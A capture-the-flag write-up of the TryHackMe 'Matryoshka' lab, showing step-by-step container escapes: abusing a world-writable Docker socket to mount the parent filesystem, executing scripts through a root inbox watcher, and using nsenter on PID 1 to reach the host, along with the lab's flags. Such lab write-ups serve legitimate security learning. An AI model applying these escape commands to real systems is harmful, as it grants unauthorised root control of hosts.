Matryoshka (TryHackMe)

Matryoshka is a Docker container escape challenge that lives up to its name — like Russian nesting dolls, each layer you break out of reveals another one waiting beneath it. Starting from a restricted SSH session as a low-privilege user inside a container, the goal is to escape through multiple layers of containerization until you reach the actual host machine. The challenge covers Docker socket abuse, Docker-in-Docker (DinD) enumeration, inbox-based code execution, and namespace escaping using nsenter — a powerful combination of techniques that map directly to real-world container breakout scenarios.
Matryoshka Containment Unit
You set up a containment unit designed to trap and contain even the most nefarious viruses, but you accidentally got trapped in it while testing it.
Your memory is fuzzy, and you don't remember much about how you set it up.
Good luck!
Answer the questions below
What is the Level 2 flag?
new challenge - matryoshka
ssh matryoshka@10.112.161.115
The authenticity of host '10.112.161.115 (10.112.161.115)' can't be established.
ECDSA key fingerprint is SHA256:FqLqwA5vOcEYpiQhox6q5qWIgQi1J/nvxW+KrDCjDpM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.112.161.115' (ECDSA) to the list of known hosts.
matryoshka@10.112.161.115's password:
[*] You are in the Matryoshka Containment Unit. Escape is futile.
ed03593f18a4:~$ ls
ed03593f18a4:~$ pwd
/home/matryoshka
ed03593f18a4:~$ ls -la
total 12
drwxr-sr-x 2 matryoshka matryoshka 4096 May 4 14:25 .
drwxr-xr-x 3 root root 4096 May 4 14:25 ..
-rw-r--r-- 1 matryoshka matryoshka 73 May 4 14:25 .bashrc
ed03593f18a4:~$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 May 4 14:25 .
drwxr-xr-x 19 root root 4096 May 10 13:06 ..
drwxr-sr-x 2 matryoshka matryoshka 4096 May 4 14:25 matryoshka
ed03593f18a4:~$ cat .bashrc
echo "[*] You are in the Matryoshka Containment Unit. Escape is futile."
ed03593f18a4:~$
id
uid=1000(matryoshka) gid=1000(matryoshka) groups=1000(matryoshka)
ed03593f18a4:~$ whoami
matryoshka
ed03593f18a4:~$ sudo -l
bash: sudo: command not found
ed03593f18a4:~$ ps aux
PID USER TIME COMMAND
1 matryosh 0:00 sleep infinity
6 matryosh 0:00 /bin/bash
19 matryosh 0:00 ps aux
ed03593f18a4:~$ cat /proc/mounts
/dev/root / ext4 rw,relatime,discard 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
sysfs /sys sysfs ro,nosuid,nodev,noexec,relatime 0 0
cgroup /sys/fs/cgroup cgroup2 ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k,inode64 0 0
/dev/root /etc/resolv.conf ext4 rw,relatime,discard 0 0
/dev/root /etc/hostname ext4 rw,relatime,discard 0 0
/dev/root /etc/hosts ext4 rw,relatime,discard 0 0
overlay /run/docker.sock overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/NWGTFNXSG2SB
proc /proc/bus proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/fs proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/irq proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sys proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sysrq-trigger proc ro,nosuid,nodev,noexec,relatime 0 0
tmpfs /proc/acpi tmpfs ro,relatime,inode64 0 0
tmpfs /proc/kcore tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/keys tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/latency_stats tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/timer_list tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/scsi tmpfs ro,relatime,inode64 0 0
tmpfs /sys/firmware tmpfs ro,relatime,inode64 0 0
ls -la /run/docker.sock
srw-rw-rw- 1 root 2375 0 May 10 13:06 /run/docker.sock
ed03593f18a4:~$ which docker
/usr/bin/docker
ed03593f18a4:~$ which curl
ed03593f18a4:~$ which wget
/usr/bin/wget
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
matryoshka-level1 local 485e908211ec 5 days ago 43.9MB
alpine 3.20 bf8527eb54c3 3 weeks ago 7.8MB
ed03593f18a4:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ed03593f18a4 matryoshka-level1:local "sh -lc 'sleep infin\u2026" 14 minutes ago Up 14 minutes level1
docker run --help | grep -i mount
--mount mount Attach a filesystem mount to the container
--read-only Mount the container's root filesystem as read only
--tmpfs list Mount a tmpfs directory
-v, --volume list Bind mount a volume
--volumes-from list Mount volumes from the specified container(s)
docker run -it -v /:/mnt alpine:3.20 sh
/ # ls -la
total 64
drwxr-xr-x 19 root root 4096 May 10 13:26 .
drwxr-xr-x 19 root root 4096 May 10 13:26 ..
-rwxr-xr-x 1 root root 0 May 10 13:26 .dockerenv
drwxr-xr-x 2 root root 4096 Apr 15 16:09 bin
drwxr-xr-x 5 root root 360 May 10 13:26 dev
drwxr-xr-x 17 root root 4096 May 10 13:26 etc
drwxr-xr-x 2 root root 4096 Apr 15 16:09 home
drwxr-xr-x 6 root root 4096 Apr 15 16:09 lib
drwxr-xr-x 5 root root 4096 Apr 15 16:09 media
drwxr-xr-x 1 root root 4096 May 10 13:06 mnt
drwxr-xr-x 2 root root 4096 Apr 15 16:09 opt
dr-xr-xr-x 195 root root 0 May 10 13:26 proc
drwx------ 2 root root 4096 May 10 13:26 root
drwxr-xr-x 2 root root 4096 Apr 15 16:09 run
drwxr-xr-x 2 root root 4096 Apr 15 16:09 sbin
drwxr-xr-x 2 root root 4096 Apr 15 16:09 srv
dr-xr-xr-x 13 root root 0 May 10 13:26 sys
drwxrwxrwt 2 root root 4096 Apr 15 16:09 tmp
drwxr-xr-x 7 root root 4096 Apr 15 16:09 usr
drwxr-xr-x 12 root root 4096 Apr 15 16:09 var
pwd
/
/ # ls -la root
total 12
drwx------ 2 root root 4096 May 10 13:26 .
drwxr-xr-x 19 root root 4096 May 10 13:26 ..
-rw------- 1 root root 23 May 10 13:26 .ash_history
/ # ls -la home
total 8
drwxr-xr-x 2 root root 4096 Apr 15 16:09 .
drwxr-xr-x 19 root root 4096 May 10 13:26 ..
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ # whoami
root
find / -type f -name root.txt 2>/dev/null
/ # find / -type f -name *.txt 2>/dev/null
/mnt/root/flag_level2.txt
/ # cat /mnt/root/flag_level2.txt
THM{RUN@W@Y_S0CK3T}
What is the Level 3 flag?
cat /mnt/var/spool/cron/crontabs/root
# do daily/weekly/monthly maintenance
# min hour day month weekday command
*/15 * * * * run-parts /etc/periodic/15min
0 * * * * run-parts /etc/periodic/hourly
0 2 * * * run-parts /etc/periodic/daily
0 3 * * 6 run-parts /etc/periodic/weekly
0 5 1 * * run-parts /etc/periodic/monthly
ls -la /mnt/mnt/level3share
total 16
drwxrwxrwx 4 root root 4096 May 10 13:05 .
drwxr-xr-x 1 root root 4096 May 10 13:06 ..
drwxrwxrwx 2 root root 4096 May 10 13:05 inbox
drwxrwxrwx 2 root root 4096 May 10 13:05 outbox
/ # ls -la /mnt/mnt/level3share/inbox
total 8
drwxrwxrwx 2 root root 4096 May 10 13:05 .
drwxrwxrwx 4 root root 4096 May 10 13:05 ..
/ # ls -la /mnt/mnt/level3share/outbox
total 8
drwxrwxrwx 2 root root 4096 May 10 13:05 .
drwxrwxrwx 4 root root 4096 May 10 13:05 ..
/ #
searched for .sh files and found these two interesting: find / -type f -name *.sh 2>/dev/null
cat /mnt/usr/local/bin/attach_level1.sh
#!/bin/sh
set -eu
exec docker exec -it level1 /bin/bash
/ # cat /mnt/usr/local/bin/level2-entrypoint.sh
#!/bin/sh
set -eu
# Start Docker daemon (DinD) with vfs storage driver.
# vfs requires no overlayfs or block-device access, which is intentional:
# it prevents inner containers from inheriting real host block devices.
dockerd-entrypoint.sh --storage-driver=vfs > /var/log/dockerd.log 2>&1 &
# Wait for it
until docker info > /dev/null 2>&1; do
sleep 1
done
# Level 1 -> Level 2 vuln: make the daemon socket world-writable
chmod 666 /var/run/docker.sock
# Create Level 2 flag (only exists in Level 2 container FS)
if [ ! -f /root/flag_level2.txt ]; then
echo "$LEVEL2_FLAG" > /root/flag_level2.txt
chmod 400 /root/flag_level2.txt
fi
# Load Level 1 image (offline-safe)
docker image inspect matryoshka-level1:local >/dev/null 2>&1 || \
docker load -i /opt/images/level1-image.tar >/dev/null
# Load helper image
docker image inspect alpine:3.20 >/dev/null 2>&1 || \
docker load -i /opt/images/alpine-3.20.tar >/dev/null
# Start Level 1
docker rm -f level1 >/dev/null 2>&1 || true
docker run -d --pull=never --name level1 \
--network none \
-v /var/run/docker.sock:/var/run/docker.sock \
matryoshka-level1:local >/dev/null
# Keep container alive
tail -f /dev/null
echo '#!/bin/sh' > /tmp/getflag.sh
echo 'env' >> /tmp/getflag.sh
echo 'find / -name "flag*" 2>/dev/null' >> /tmp/getflag.sh
chmod +x /tmp/getflag.sh
cp /tmp/getflag.sh /mnt/mnt/level3share/inbox/getflag.sh
sleep 3 && cat /mnt/mnt/level3share/outbox/getflag.sh.out
HOSTNAME=4cc22176a008
SHLVL=3
HOME=/root
DIND_COMMIT=65cfcc28ab37cb75e1560e4b4738719c07c6618e
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DOCKER_VERSION=25.0.5
DOCKER_TLS_CERTDIR=/certs
LEVEL2_FLAG=THM{RUN@W@Y_S0CK3T}
LEVEL3_FLAG=THM{RW_B1ND3D}
DOCKER_BUILDX_VERSION=0.16.2
DOCKER_COMPOSE_VERSION=2.29.1
PWD=/
/sys/devices/pnp0/00:04/00:04:0/00:04:0.0/tty/ttyS0/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.3/tty/ttyS3/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.1/tty/ttyS1/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.2/tty/ttyS2/flags
/sys/devices/virtual/net/veth789c5ce/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/docker0/flags
/sys/devices/virtual/net/eth0/flags
/tmp/flag3.txt
/root/flag_level3.txt
/var/lib/docker/overlay2/71bc16912ce6a2273b85c269ad481b390d9283e8d0397e6155118e9ac647e8bf/merged/root/flag_level2.txt
/var/lib/docker/overlay2/71bc16912ce6a2273b85c269ad481b390d9283e8d0397e6155118e9ac647e8bf/diff/root/flag_level2.txt
What is the Host flag?
/ # cat /mnt/usr/local/bin/docker-entrypoint.sh
#!/bin/sh
set -eu
# first arg is `-f` or `--some-option`
if [ "\({1#-}" != "\)1" ]; then
set -- docker "$@"
fi
# if our command is a valid Docker subcommand, let's invoke it through Docker instead
# (this allows for "docker run docker ps", etc)
if docker help "$1" > /dev/null 2>&1; then
set -- docker "$@"
fi
_should_tls() {
[ -n "${DOCKER_TLS_CERTDIR:-}" ] \
&& [ -s "$DOCKER_TLS_CERTDIR/client/ca.pem" ] \
&& [ -s "$DOCKER_TLS_CERTDIR/client/cert.pem" ] \
&& [ -s "$DOCKER_TLS_CERTDIR/client/key.pem" ]
}
# if we have no DOCKER_HOST but we do have the default Unix socket (standard or rootless), use it explicitly
if [ -z "${DOCKER_HOST:-}" ] && [ -S /var/run/docker.sock ]; then
export DOCKER_HOST=unix:///var/run/docker.sock
elif [ -z "\({DOCKER_HOST:-}" ] && XDG_RUNTIME_DIR="\){XDG_RUNTIME_DIR:-/run/user/\((id -u)}" && [ -S "\)XDG_RUNTIME_DIR/docker.sock" ]; then
export DOCKER_HOST="unix://$XDG_RUNTIME_DIR/docker.sock"
fi
# if DOCKER_HOST isn't set (no custom setting, no default socket), let's set it to a sane remote value
if [ -z "${DOCKER_HOST:-}" ]; then
if _should_tls || [ -n "${DOCKER_TLS_VERIFY:-}" ]; then
export DOCKER_HOST='tcp://docker:2376'
else
export DOCKER_HOST='tcp://docker:2375'
fi
fi
if [ "\({DOCKER_HOST#tcp:}" != "\)DOCKER_HOST" ] \
&& [ -z "${DOCKER_TLS_VERIFY:-}" ] \
&& [ -z "${DOCKER_CERT_PATH:-}" ] \
&& _should_tls \
; then
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH="$DOCKER_TLS_CERTDIR/client"
fi
if [ "$1" = 'dockerd' ]; then
cat >&2 <<-'EOW'
\U0001f4ce Hey there! It looks like you're trying to run a Docker daemon.
You probably should use the "dind" image variant instead, something like:
docker run --privileged --name some-docker ... docker:dind ...
See https://hub.docker.com/_/docker/ for more documentation and usage examples.
EOW
sleep 3
fi
exec "$@"
- It was a struggle to find the host flag, unlike the other two, which had to use this walkthrough video on YouTube. You can watch it if you're stuck
ls /mnt
bin dev home media opt root sbin sys usr
certs etc lib mnt proc run srv tmp var
/ # ls /mnt/mnt
level3share
/ # ls /mnt/mnt/level3share
inbox outbox
/ # /inbox
sh: /inbox: not found
/ # ls /mnt/mnt/level3share/inbox
/ # ls -la /mnt/mnt/level3share/inbox
total 8
drwxrwxrwx 2 root root 4096 May 12 18:47 .
drwxrwxrwx 4 root root 4096 May 12 18:47 ..
/ # cd mnt/mnt/level3share
/mnt/mnt/level3share # echo 'nsenter -t 1 -m -u -n -i sh -c "id; hostname; ls /root"' > /mnt/mnt/
level3share/inbox/nsenter.sh
/mnt/mnt/level3share # cat /mnt/mnt/level3share/outbox/nsenter.sh.out
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
matryoshka
flag_host.txt
snap
/mnt/mnt/level3share # echo 'nsenter -t 1 -m -u -n -i sh -c "cat /root/flag_host.txt"' > /mnt/mnt
/level3share/inbox/hostflag.sh
/mnt/mnt/level3share # cat /mnt/mnt/level3share/outbox/hostflag.sh.out
THM{SP@C3D_0UT}
So nsenter was the key all along — it enters the host's namespaces (PID 1) from within the container, giving you access to the actual host's filesystem and processes. That's what made the inbox watcher so powerful, once used correctly.
Full flag summary:
Level 2:
THM{RUN@W@Y_S0CK3T}Level 3:
THM{RW_B1ND3D}Host:
THM{SP@C3D_0UT}
The full escape chain:
Level1 → abused world-writable docker socket → spawned privileged container mounting level2's FS
Level2 → used inbox watcher +
nsenter -t 1to enter host namespaces and read the host flag
nsenter is a great tool to add to your container escape toolkit — whenever you have access to PID 1 from inside a container, it can break you into the host's namespace entirely.
Conclusion
Matryoshka is an excellent hands-on introduction to layered container escape. The intended path required recognizing that the world-writable Docker socket was the first foothold, then pivoting through an inbox watcher mechanism using nsenter -t 1 to finally break into the physical host's namespaces. The key lesson is that nsenter paired with access to PID 1 is a reliable host escape technique whenever you find yourself with execution inside a privileged container context.
The hardest part of this challenge wasn't the technical execution — it was understanding the architecture. Mapping out exactly which layer you were operating in (level1, level2, or the host) at any given moment was critical to knowing where your output would land and what paths were valid. That mental model of nested environments is something that transfers directly to real-world container security assessments.



